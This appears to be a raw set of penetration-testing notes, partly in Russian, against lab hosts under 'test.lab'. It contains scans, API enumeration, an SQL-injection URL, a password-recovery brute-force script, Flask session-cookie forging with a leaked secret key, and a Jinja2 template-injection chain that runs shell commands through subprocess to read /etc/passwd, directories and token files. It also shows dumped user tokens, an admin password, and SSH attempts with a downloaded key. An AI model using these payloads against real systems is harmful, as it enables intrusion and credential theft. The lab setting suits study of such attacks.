preferred master = no
os level = 0
domain logons = no
load printers = no
show add printer wizard = no
printcap name = /dev/null
disable spoolss = yes

idmap config * : range = 10000-20000
idmap config * : backend = tdb
winbind enum groups = yes
winbind enum users = yes
winbind use default domain = yes
template shell = /bin/bash
winbind refresh tickets = yes

// Offline auth
winbind offline logon = yes
winbind cache time = 1800

telnet 172.16.0.55 5074
Trying 172.16.0.55...
Connected to 172.16.0.55.
Escape character is '^]'.
Connection closed by foreign host.

ssh -L 5074:172.16.0.55:5074 info@192.168.0.100
Could not create directory '/home/TEST/info/.ssh'.
The authenticity of host '192.168.0.100 (192.168.0.100)' can't be established.
ECDSA key fingerprint is SHA256:/iQqK4UOhab3e7FBLg1f/SYutsYJCALjp/vqHu3MgGY.
Are you sure you want to continue connecting (yes/no)? y
Please type 'yes' or 'no': yes
Failed to add the host to the list of known hosts (/home/TEST/info/.ssh/known_ho sts).
Authentication failed.

info@lomonosov:/usr$ ls
bin games include lib local sbin share src
info@lomonosov:/usr$ find | grep token
./lib/x86_64-linux-gnu/samba/libauth-unix-token.so.0
./lib/python2.7/lib2to3/pgen2/tokenize.pyc
./lib/python2.7/lib2to3/pgen2/tokenize.py
./lib/python2.7/lib2to3/pgen2/token.pyc
./lib/python2.7/lib2to3/pgen2/token.py
./lib/python2.7/tokenize.pyc
./lib/python2.7/tokenize.py
./lib/python2.7/token.pyc
./lib/python2.7/dist-packages/dns/tokenizer.pyc
./lib/python2.7/dist-packages/dns/tokenizer.py
./lib/python2.7/token.py
./lib/python3.5/lib2to3/pgen2/tokenize.py
./lib/python3.5/lib2to3/pgen2/__pycache__/token.cpython-35.pyc
./lib/python3.5/lib2to3/pgen2/__pycache__/tokenize.cpython-35.pyc
./lib/python3.5/lib2to3/pgen2/token.py
./lib/python3.5/tokenize.py
./lib/python3.5/__pycache__/token.cpython-35.pyc
./lib/python3.5/__pycache__/tokenize.cpython-35.pyc
./lib/python3.5/token.py
./share/man/man8/ip-token.8.gz

psql -h 172.16.0.55 -p 5074 -U postgres

dirsearch.py -u http://172.16.1.20:8000 -e php,txt,bak,json,html,log,conf,cfg,ini,xls,doc,phtml -x 301,403,503,302 --random-agent

_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: php, txt, bak, json, html, log, conf, cfg, ini, xls, doc, phtml | Threads: 10 | Wordlist size: 10148
Target: http://172.16.1.20:8000
[22:24:16] Starting:
[22:25:57] 200 - 65B - /contact
[22:26:31] 400 - 122B - /login
[22:26:32] 400 - 122B - /login/
[22:27:17] 200 - 299B - /support
Task Completed

{
"404": "The API call you tried to make was not defined. Here's a definition of the API to help you get going :)",
"documentation": {
"overview": "A basic (single function) API written using hug",
"handlers": {
"/contact": {
"GET": {
"examples": [
"http://uwsgi_api_upstream/contact"
],
"outputs": {
"format": "JSON (Javascript Serialized Object Notation)",
"content_type": "application/json; charset=utf-8"
}
}
},
"/get_user_list": {
"GET": {
"usage": "List user logins",
"outputs": {
"format": "JSON (Javascript Serialized Object Notation)",
"content_type": "application/json; charset=utf-8"
},
"inputs": {
"login": {
"type": "Basic text / string value"
},
"password": {
"type": "Basic text / string value"
}
}
}
},
"/recover_password": {
"GET": {
"usage": "Recover user password",
"outputs": {
"format": "JSON (Javascript Serialized Object Notation)",
"content_type": "application/json; charset=utf-8"
},
"inputs": {
"user": {
"type": "Basic text / string value"
},
"login": {
"type": "Basic text / string value"
}
}
}
},
"/login": {
"GET": {
"usage": "Login",
"outputs": {
"format": "JSON (Javascript Serialized Object Notation)",
"content_type": "application/json; charset=utf-8"
},
"inputs": {
"login": {
"type": "Basic text / string value"
},
"password": {
"type": "Basic text / string value"
}
}
}
},
"/support": {
"GET": {
"examples": [
"http://uwsgi_api_upstream/support"
],
"outputs": {
"format": "A dynamically retrieved file",
"content_type": "file/dynamic"
}
}
}
}
}
}

curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' --header 'X-picturemaxx-api-key: key' -d '{ \
"password": "pwd", \
"username": "usrname" \
}' 'http://172.16.1.20:8000/get_user_list'
[{"object": "inside an array"}]

curl -u "info" http://172.16.1.20:8000/contact
Enter host password for user 'info':
"Contact support team if you have any problems with the service."

curl -u "info" http://172.16.1.20:8000/get_user_list

GET /user/1 HTTP/1.1
Host: 172.16.1.20:8000
X-Auth-Token: AUTH_TOKEN
Content-type: application/json
Accept: text/plain
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 0

172.16.1.20:8000/get_user_list[{'login':{'type':'info'},'password':{'type':'123456789'}}]

http://172.16.1.20:8000/get_user_list?login=support_team%27&password=1%27%20and%20%271=1%27

http://172.16.1.20:8000/recover_password?login=тутлогин&user=тутюзер

some = [{"user": "Potapova", "login": "potapova"}, {"user": "Popov", "login": "popov"}, {"user": "Kiselev", "login": "kiselev"}, {"user": "Semenova", "login": "semenova"}, {"user": "Kulikov", "login": "kulikov"}, {"user": "Uvarov", "login": "uvarov"}, {"user": "Blohina", "login": "blohina"}, {"user": "Frolova", "login": "frolova"}, {"user": "Volkova", "login": "volkova"}, {"user": "Morozova", "login": "morozova"}, {"user": "Fadeeva", "login": "fadeeva"}, {"user": "Gorbacheva", "login": "gorbacheva"}, {"user": "Pavlova", "login": "pavlova"}, {"user": "Ivanov", "login": "ivanov"}, {"user": "Safonov", "login": "safonov"}, {"user": "Kalinina", "login": "kalinina"}, {"user": "Krjukova", "login": "krjukova"}, {"user": "Bogdanov", "login": "bogdanov"}, {"user": "Shubin", "login": "shubin"}, {"user": "Lapin", "login": "lapin"}, {"user": "Avdeeva", "login": "avdeeva"}, {"user": "Zaharova", "login": "zaharova"}, {"user": "Kudrjashova", "login": "kudrjashova"}, {"user": "Sysoev", "login": "sysoev"}, {"user": "Panfilov", "login": "panfilov"}, {"user": "Konstantinova", "login": "konstantinova"}, {"user": "Prohorova", "login": "prohorova"}, {"user": "Lukin", "login": "lukin"}, {"user": "Avdeeva", "login": "avdeeva"}, {"user": "Eliseev", "login": "eliseev"}, {"user": "Maksimov", "login": "maksimov"}, {"user": "Aleksandrova", "login": "aleksandrova"}, {"user": "Bobrova", "login": "bobrova"}, {"user": "Ignatova", "login": "ignatova"}, {"user": "Belov", "login": "belov"}, {"user": "Fedorova", "login": "fedorova"}, {"user": "Mihajlova", "login": "mihajlova"}, {"user": "Burov", "login": "burov"}, {"user": "Rogov", "login": "rogov"}, {"user": "Kornilov", "login": "kornilov"}, {"user": "Fedotova", "login": "fedotova"}, {"user": "Nikolaeva", "login": "nikolaeva"}, {"user": "Nikiforov", "login": "nikiforov"}, {"user": "Sobolev", "login": "sobolev"}, {"user": "Molchanova", "login": "molchanova"}, {"user": "Sysoev", "login": "sysoev"}, {"user": "Jakovleva", "login": "jakovleva"}, {"user": "Blinova", "login": "blinova"}, {"user": "Eliseev", "login": "eliseev"}, {"user": "Avdeeva", "login": "avdeeva"}, {"user": "Komissarova", "login": "komissarova"}, {"user": "Kazakova", "login": "kazakova"}, {"user": "Lobanov", "login": "lobanov"}, {"user": "Panova", "login": "panova"}, {"user": "Ovchinnikova", "login": "ovchinnikova"}, {"user": "Bykov", "login": "bykov"}, {"user": "Karpov", "login": "karpov"}, {"user": "Panova", "login": "panova"}, {"user": "Guschina", "login": "guschina"}, {"user": "Korolev", "login": "korolev"}, {"user": "Shilov", "login": "shilov"}, {"user": "Burov", "login": "burov"}, {"user": "Zhuravlev", "login": "zhuravlev"}, {"user": "Fomichev", "login": "fomichev"}, {"user": "Ponomareva", "login": "ponomareva"}, {"user": "Nikiforov", "login": "nikiforov"}, {"user": "Bobrova", "login": "bobrova"}, {"user": "Stepanova", "login": "stepanova"}, {"user": "Dmitriev", "login": "dmitriev"}, {"user": "Dorofeeva", "login": "dorofeeva"}, {"user": "Silin", "login": "silin"}, {"user": "Tsvetkov", "login": "tsvetkov"}, {"user": "Antonov", "login": "antonov"}, {"user": "Belov", "login": "belov"}, {"user": "Novikova", "login": "novikova"}, {"user": "Martynov", "login": "martynov"}, {"user": "Kovalev", "login": "kovalev"}, {"user": "Egorov", "login": "egorov"}, {"user": "Kirillova", "login": "kirillova"}, {"user": "Chernova", "login": "chernova"}, {"user": "Dmitriev", "login": "dmitriev"}, {"user": "Kazakov", "login": "kazakov"}, {"user": "Gavrilova", "login": "gavrilova"}, {"user": "Beljaeva", "login": "beljaeva"}, {"user": "Kulakova", "login": "kulakova"}, {"user": "Samsonova", "login": "samsonova"}, {"user": "Pavlova", "login": "pavlova"}, {"user": "Zimina", "login": "zimina"}, {"user": "Sidorova", "login": "sidorova"}, {"user": "Strelkov", "login": "strelkov"}, {"user": "Guseva", "login": "guseva"}, {"user": "Kulikov", "login": "kulikov"}, {"user": "Shestakov", "login": "shestakov"}, {"user": "Ershova", "login": "ershova"}, {"user": "Davydov", "login": "davydov"}, {"user": "Nikolaev", "login": "nikolaev"}, {"user": "Andreev", "login": "andreev"}, {"user": "Rjabova", "login": "rjabova"}, {"user": "Grishin", "login": "grishin"}, {"user": "Turov", "login": "turov"}, {"user": "Kopylov", "login": "kopylov"}, {"user": "Maksimova", "login": "maksimova"}, {"user": "Egorov", "login": "egorov"}, {"user": "Seliverstov", "login": "seliverstov"}, {"user": "Kolobov", "login": "kolobov"}, {"user": "Kornilova", "login": "kornilova"}, {"user": "Romanov", "login": "romanov"}, {"user": "Beljakov", "login": "beljakov"}, {"user": "Morozov", "login": "morozov"}, {"user": "Konovalova", "login": "konovalova"}, {"user": "Kolobov", "login": "kolobov"}, {"user": "Koshelev", "login": "koshelev"}, {"user": "Bogdanov", "login": "bogdanov"}, {"user": "Seleznev", "login": "seleznev"}, {"user": "Smirnov", "login": "smirnov"}, {"user": "Mamontova", "login": "mamontova"}, {"user": "Voronova", "login": "voronova"}, {"user": "Zhdanov", "login": "zhdanov"}, {"user": "Zueva", "login": "zueva"}, {"user": "Mjasnikova", "login": "mjasnikova"}, {"user": "Medvedeva", "login": "medvedeva"}, {"user": "Knjazeva", "login": "knjazeva"}, {"user": "Kuznetsova", "login": "kuznetsova"}, {"user": "Komissarova", "login": "komissarova"}, {"user": "Gorbunova", "login": "gorbunova"}, {"user": "Blohina", "login": "blohina"}, {"user": "Tarasov", "login": "tarasov"}, {"user": "Lazarev", "login": "lazarev"}, {"user": "Rusakova", "login": "rusakova"}, {"user": "Vinogradov", "login": "vinogradov"}, {"user": "Shilov", "login": "shilov"}, {"user": "Strelkova", "login": "strelkova"}, {"user": "Komissarov", "login": "komissarov"}, {"user": "Kirillov", "login": "kirillov"}, {"user": "Jakusheva", "login": "jakusheva"}, {"user": "Mironov", "login": "mironov"}, {"user": "Kudrjavtseva", "login": "kudrjavtseva"}, {"user": "Vlasova", "login": "vlasova"}, {"user": "Fomin", "login": "fomin"}, {"user": "Nosova", "login": "nosova"}, {"user": "Aleksandrov", "login": "aleksandrov"}, {"user": "Teterina", "login": "teterina"}, {"user": "Gromov", "login": "gromov"}, {"user": "Odintsova", "login": "odintsova"}, {"user": "Schukin", "login": "schukin"}, {"user": "Shashkov", "login": "shashkov"}, {"user": "Lobanova", "login": "lobanova"}, {"user": "Suvorova", "login": "suvorova"}, {"user": "Panfilov", "login": "panfilov"}, {"user": "Loginov", "login": "loginov"}, {"user": "Kovalev", "login": "kovalev"}, {"user": "Rybakov", "login": "rybakov"}, {"user": "Konstantinova", "login": "konstantinova"}, {"user": "Bykov", "login": "bykov"}, {"user": "Lukina", "login": "lukina"}, {"user": "Vinogradov", "login": "vinogradov"}, {"user": "Antonova", "login": "antonova"}, {"user": "Nekrasov", "login": "nekrasov"}, {"user": "Mamontova", "login": "mamontova"}, {"user": "Denisov", "login": "denisov"}, {"user": "Stepanova", "login": "stepanova"}, {"user": "Suvorova", "login": "suvorova"}, {"user": "Krjukova", "login": "krjukova"}, {"user": "Samojlova", "login": "samojlova"}, {"user": "Gromov", "login": "gromov"}, {"user": "Kazakov", "login": "kazakov"}, {"user": "Matveev", "login": "matveev"}, {"user": "Sergeeva", "login": "sergeeva"}, {"user": "Bobylev", "login": "bobylev"}, {"user": "Sitnikova", "login": "sitnikova"}, {"user": "Grishina", "login": "grishina"}, {"user": "Blinova", "login": "blinova"}, {"user": "Doronina", "login": "doronina"}, {"user": "Ignatov", "login": "ignatov"}, {"user": "Gromov", "login": "gromov"}, {"user": "Koshelev", "login": "koshelev"}, {"user": "Orehov", "login": "orehov"}, {"user": "Matveev", "login": "matveev"}, {"user": "Rozhkova", "login": "rozhkova"}, {"user": "Gerasimov", "login": "gerasimov"}, {"user": "Martynova", "login": "martynova"}, {"user": "Molchanova", "login": "molchanova"}, {"user": "Timofeeva", "login": "timofeeva"}, {"user": "Kuznetsov", "login": "kuznetsov"}, {"user": "Loginova", "login": "loginova"}, {"user": "Maslova", "login": "maslova"}, {"user": "Matveev", "login": "matveev"}, {"user": "Zaharov", "login": "zaharov"}, {"user": "Nikiforova", "login": "nikiforova"}, {"user": "Galkina", "login": "galkina"}, {"user": "Vishnjakova", "login": "vishnjakova"}, {"user": "Kulakov", "login": "kulakov"}, {"user": "Medvedev", "login": "medvedev"}, {"user": "Antonova", "login": "antonova"}, {"user": "Konovalov", "login": "konovalov"}, {"user": "Lazarev", "login": "lazarev"}, {"user": "Bobylev", "login": "bobylev"}, {"user": "Lihachev", "login": "lihachev"}, {"user": "Nikolaeva", "login": "nikolaeva"}, {"user": "Bogdanov", "login": "bogdanov"}, {"user": "Gorbachev", "login": "gorbachev"}, {"user": "Nikolaev", "login": "nikolaev"}, {"user": "Semenova", "login": "semenova"}, {"user": "Semenov", "login": "semenov"}, {"user": "Kuznetsov", "login": "kuznetsov"}, {"user": "Gromova", "login": "gromova"}, {"user": "Samsonov", "login": "samsonov"}, {"user": "Konovalov", "login": "konovalov"}, {"user": "Gusev", "login": "gusev"}, {"user": "Sitnikov", "login": "sitnikov"}, {"user": "Ignatov", "login": "ignatov"}, {"user": "Voronova", "login": "voronova"}, {"user": "Mihajlov", "login": "mihajlov"}, {"user": "Lazareva", "login": "lazareva"}, {"user": "Nazarova", "login": "nazarova"}, {"user": "Krylova", "login": "krylova"}, {"user": "Morozova", "login": "morozova"}, {"user": "Medvedeva", "login": "medvedeva"}, {"user": "Samsonova", "login": "samsonova"}, {"user": "Mamontova", "login": "mamontova"}, {"user": "Shirjaeva", "login": "shirjaeva"}, {"user": "Scherbakov", "login": "scherbakov"}]

import requests
URL = "http://user-api.test.lab:8000/recover_password"
for x in some:
r = requests.get(URL, params=x)
res = r.text
if res != '"Restricted area, use valid credentials!"':
print x
print res

Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 02:04 Oaio?aeuiay Acey (ceia)
Nmap scan report for 172.16.2.16
Host is up (0.20s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 197.34 seconds

.\dirsearch.py -u http://172.16.2.16:8000 -e php,txt,bak,json,html,log,conf,cfg,ini,xls,doc,phtml -x 301,403,503,302 --random-agent

_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: php, txt, bak, json, html, log, conf, cfg, ini, xls, doc, phtml | Threads: 10 | Wordlist size: 10148

Target: http://172.16.2.16:8000

[02:51:29] Starting:
[02:53:16] 405 - 178B - /auth
[02:54:56] 405 - 178B - /search

Task Completed

curl -o- 'http://172.16.2.16:8000/auth'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

curl -o- 'http://172.16.2.16:8000/search'
curl: (7) Failed to connect to 172.16.2.16 port 8000: Connection refused

python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"admin"}'

python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"<a href=\"#\">asd</a>"}'

python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__() }}"}'

import sys
a = []
with open('tr.txt') as f:
f = f.read().split(', ')
for l in f:
l = l.strip()
a += [l]
for x in a:
if sys.argv[1] in x:
print x, a.index(x)

python find.py open
<class 'urllib.request.URLopener'> 248
<class 'subprocess.Popen'> 413

python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"MY_ETC_PWD=open(\\\\\\\"/etc/passwd\\\\\\\").read()\\\" > /tmp/drrr123.cfg\", shell=True) }}"}'

{{ config.from_pyfile('/tmp/drrr123.cfg') }}

{{config["MY_ETC_PWD"]}}

python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"import os;MY_OS_LIST_DIR=os.listdir(\\\\\\\"/var/www/api/\\\\\\\")\\\" > /tmp/drrr124.cfg\", shell=True) }}"}'

import os MY_BLA = os.listdir('.')

'MY_LIST_FILES': ['templates', 'venv', '.bash_history', 'site.ini', 'requirements.txt', 'site.sock', 'README.md', '.viminfo', 'decode_cookie.py', '__pycache__', 'app.py', 'static'],

<Config {&//39;MY_OPEN': &//39;root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nDebian-exim:x:104:109::/var/spool/exim4:/bin/false\nmessagebus:x:105:110::/var/run/dbus:/bin/false\nstatd:x:106:65534::/var/lib/nfs:/bin/false\nsshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin\n_apt:x:108:65534::/nonexistent:/bin/false\nnginx:x:109:113:nginx user,,,:/nonexistent:/bin/false\nflask-site:x:1000:1000::/var/www/site:/bin/false\nflask-api:x:1001:1001::/var/www/api:/bin/false\n', 'PROPAGATE_EXCEPTIONS': None, 'TESTING': False, 'JSON_SORT_KEYS': True, 'MY_OS': <built-in function system>, 'APPLICATION_ROOT': '/', 'MY_LIST_FILES6': ['pyvenv.cfg', 'lib64', 'include', 'bin', 'lib', 'share'], 'SESSION_REFRESH_EACH_REQUEST': True, 'MY_OUT_READ': 'hello test\n', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'DEBUG': False, 'USE_X_SENDFILE': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'SESSION_COOKIE_SAMESITE': None, 'SESSION_COOKIE_HTTPONLY': True, 'MAX_COOKIE_SIZE': 4093, 'JSONIFY_MIMETYPE': 'application/json', 'TRAP_HTTP_EXCEPTIONS': False, 'ENV': 'production', 'MY_SUB': b'', 'SESSION_COOKIE_DOMAIN': False, 'MY_OOUT': 'hello test\n', 'MAX_CONTENT_LENGTH': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_NAME': 'session', 'TEMPLATES_AUTO_RELOAD': None, 'MY_TEST': 'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nDebian-exim:x:104:109::/var/spool/exim4:/bin/false\nmessagebus:x:105:110::/var/run/dbus:/bin/false\nstatd:x:106:65534::/var/lib/nfs:/bin/false\nsshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin\n_apt:x:108:65534::/nonexistent:/bin/false\nnginx:x:109:113:nginx user,,,:/nonexistent:/bin/false\nflask-site:x:1000:1000::/var/www/site:/bin/false\nflask-api:x:1001:1001::/var/www/api:/bin/false\n', 'SESSION_COOKIE_SECURE': False, 'JSON_AS_ASCII': True, 'PREFERRED_URL_SCHEME': 'http', 'SECRET_KEY': 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==', 'TMP_OPEN': '', 'MY_OUT_READ3': '', 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'SERVER_NAME': None, 'MY_LIST_FILES': ['templates', 'venv', '.bash_history', 'site.ini', 'requirements.txt', 'site.sock', 'README.md', '.viminfo', 'decode_cookie.py', '__pycache__', 'app.py', 'static'], 'MY_OUT_READ2': 'hello test\n', 'MY_BASH_API': 'psq\npwd\nls\nrm -rf venv\nls\nls -la\npython3 -m venv venv\n. venv/bin/activate\npip install -r requirements.txt \necho $http_proxy\ncat /etc/apt/apt.conf\nexport http_proxy="http://192.168.56.3:3128"\nexport https_proxy="http://192.168.56.3:3128"\npip install -r requirements.txt \nvim /etc/nginx/conf.d/site.conf \nls\ntouch site.sock\ndeactivate \nls\n. venv/bin/activate\npip install uwsgi\nexport http_proxy="http://192.168.56.3:3128"\nexport https_proxy="http://192.168.56.3:3128"\npip install uwsgi\nuwsgi\n'}>

python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"MY_API_READED=open(\\\\\\\"/var/www/api/token.txt\\\\\\\").read()\\\" > /tmp/drrr125.cfg\", shell=True) }}"}'

http://my.test.lab/?q={{config["MY_APP"]}}

sqlite> .tables
alembic_version user
sqlite> select * from user;
1|user1|z8ld5F9DPyomobF9U6mmG0c5EvsMsmOY|xQfnwpmfSunRXdgz63UVwgDnFSbFPFCY
2|admin|PasswordForValidation__fk3n5fcaa|sstQrqwhjA84GWvVOAzKH8cD1xfMdfaH
3|user3|eN5tT6IqYqT2KI7yMqIPUpjvh2MeZgR4|XsKmbCs55LlGcOr7rzsYT2EQuNPcvLBN
4|user4|IK1rXC0dL6vQzj59z8OmXYWuHkO8yih7|pVhB854TZHSqjtI32UwRSgRyRIFj5siG
sqlite> select * from alembic_version
...> ;
sqlite>

def init_data():
token_list = list() //для предоставления токена в JSON API
pkey_list = list() //для предоставления pkey в куках

//Создание листа токенов
t = open('token.txt', 'w')
for i in range(5): //всего 5 пользователей
new_token = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)])
token_list.append(new_token)
t.write(str(new_token)+'\n')
//Создание pkey для кук
for i in range(5):
new_pkey = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)])
pkey_list.append(new_pkey)
// username - token - pkey
users = [
('user1', token_list[1], 'xQfnwpmfSunRXdgz63UVwgDnFSbFPFCY'),
('admin', 'PasswordForValidation__fk3n5fcaa', pkey_list[0]),
('user3', token_list[2], 'XsKmbCs55LlGcOr7rzsYT2EQuNPcvLBN'),
('user4', token_list[3], 'pVhB854TZHSqjtI32UwRSgRyRIFj5siG'),
]
//Внесение данных в БД
conn = connect_db()
cur = conn.cursor()
cur.executemany('INSERT INTO `user` VALUES(NULL,?,?,?)', users)
conn.commit()
conn.close()

curl -X POST -v -b 'token=PasswordForValidation__fk3n5fcaa' 172.16.2.16:8000/search -o token.gz

* Trying 172.16.2.16...
* TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 172.16.2.16 (172.16.2.16) port 8000 (0)
> POST /search HTTP/1.1
> Host: 172.16.2.16:8000
> User-Agent: curl/7.62.0
> Accept: */*
> Cookie: token=PasswordForValidation__fk3n5fcaa
>
0 0 0 0 0 0 0 0 --:--:-- 0:00:04 --:--:-- 0< HTTP/1.1 200 OK
< Server: nginx
< Date: Mon, 07 Jan 2019 15:57:02 GMT
< Content-Type: application/octet-stream
< Content-Length: 1524
< Connection: keep-alive
< Last-Modified: Thu, 13 Dec 2018 15:34:01 GMT
< Cache-Control: public, max-age=43200
< Expires: Tue, 08 Jan 2019 03:57:02 GMT
< ETag: "1544715241.716-1524-1047725766"
<
{ [1524 bytes data]
100 1524 100 1524 0 0 324 0 0:00:04 0:00:04 --:--:-- 339
* Connection 0 to host 172.16.2.16 left intact

chmod 777 admin.key

ssh -i admin.key 172.16.1.25 -p22
root@172.16.1.25: Permission denied (publickey).

ssh -i admin.key admin.test.lab -p22
The authenticity of host 'admin.test.lab (172.16.1.25)' can't be established.
ECDSA key fingerprint is SHA256:/iQqK4UOhab3e7FBLg1f/SYutsYJCALjp/vqHu3MgGY.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'admin.test.lab' (ECDSA) to the list of known hosts.
root@admin.test.lab: Permission denied (publickey).

chmod 644 admin.key
ssh -i admin.key 172.16.1.25 -p22
Permission denied (publickey).
chmod 600 admin.key
ssh -i admin.key 172.16.1.25 -p22
Permission denied (publickey).

sudo chmod 644 ~/.ssh/known_hosts
sudo chmod 755 ~/.ssh

etc/id_rsa
ssh2:RSA
-----SHA256:+XxHZSbLX2sU8BS9VfwlJSiH30KOk2yKJ51kRKBON1A-----
SHA256:/iQqK4UOhab3e7FBLg1f/SYutsYJCALjp/vqHu3MgGY
-----BEGIN RSA PRIVATE KEY-----

ssh -i admin.key 172.16.1.25 -p22
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0775 for 'admin.key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "admin.key": bad permissions
root@172.16.1.25: Permission denied (publickey).

cd /

find | grep token